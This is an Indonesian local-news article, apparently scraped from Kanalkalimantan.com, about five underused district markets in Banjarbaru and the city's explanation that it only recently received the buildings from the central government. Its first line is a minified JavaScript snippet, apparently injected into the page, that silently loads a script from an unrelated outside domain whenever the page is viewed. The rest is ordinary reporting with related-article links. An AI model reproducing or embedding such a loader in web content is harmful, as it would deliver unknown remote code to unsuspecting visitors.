(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Lima pasar kecamatan di Kota Banjarbaru masih sepi aktivitas jual beli karena tidak sesuai keinginan pedagang, Pemerintah Kota (Pemko) Banjarbaru berdalih baru terima aset dari pemerintah pusat.
Wali Kota Banjarbaru, HM Aditya Mufti Ariffin mengatakan, pasar yang dibangun pada lima kecamatan bukan bangunan yang dikerjakan oleh Pemko Banjarbaru.
“Baru tahun ini (Pasar, red) diserahkan oleh pemerintah pusat asetnya ke Pemko Banjarbaru,” ungkapnya.
Diakuinya memang saat ini banyak komplain dari pedagang terkait kondisi ketidaksesuaian los-los di pasar kecamatan itu.
Baca juga : Berikan Reward, Wujud Apresiasi Kerja dan Kinerja Pegawai di Bappedalitbang Banjar
“Banyak komplain dari pedagang bahwa losnya tidak sesuai, mejanya tidak sesuai, dan lain-lain, karena aset belum diserahkan ke Pemko, sehingga kita tidak bisa memperbaiki dan tidak bisa menyesuaikan untuk pedagang. Kondisi itu yang paling banyak dikeluhkan pedagang,” ujarnya.
Sementara itu, dengan diserahkannya aset pasar tersebut ke Pemko Banjarbaru, dinas terkait dalam hal ini Dinas Perdagangan (Disdag) Kota Banjarbaru baru bisa menganggarkan terkait pemeliharaan pasar.
“Karena baru saja aset bangunan diserahkan, kita (Pemko, red) tidak bisa serta merta memperbaiki, ada sistem anggarannya yang membatasi, ini sudah dianggarkan (Disdag, red) agar diperbaiki secepatnya,” bebernya.
Masih kata Aditya, terkait lima pasar kecamatan yang sepi pedagang, pihaknya sudah melakukan berbagai upaya untuk menarik minat warga yang ingin berjualan di pasar kecamatan tersebut.
Baca juga : Sidang Korupsi Proyek Graving Dock Kuin Cerucuk, Dua Terdakwa Disebut Rugikan Negara Rp 5,7 Miliar
“Kalau pasar di Cempaka pasarnya sifatnya hari-hari tertentu saja yang ramai, sedangkan pasar di Landasan Ulin Timur kita sudah berusaha membuka pendaftaran terhadap pedagang, ternyata tidak ada yang mendaftar,” tuturnya.
Kemudian, soal Pasar Laura di Landasan Ulin Utara, hingga saat ini Pemko Banjarbaru sudah berupaya dua kali menarik minat pedagang untuk berjualan di Pasar Laura, tapi kembali pedagang memilih berjualan di luar.
“Sempat terisi dan terakhir informasinya yang kami dapat mereka (Pedagang, red) keluar lagi,” sebutnya.
Hingga saat ini Dinas Perdagangan berupaya untuk meningkatkan pedagang, sarana dan prasarana, juga bekerjasama dengan Anggota DPRD Banjarbaru untuk meningkatkan jumlah pedagang dan pengunjung.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.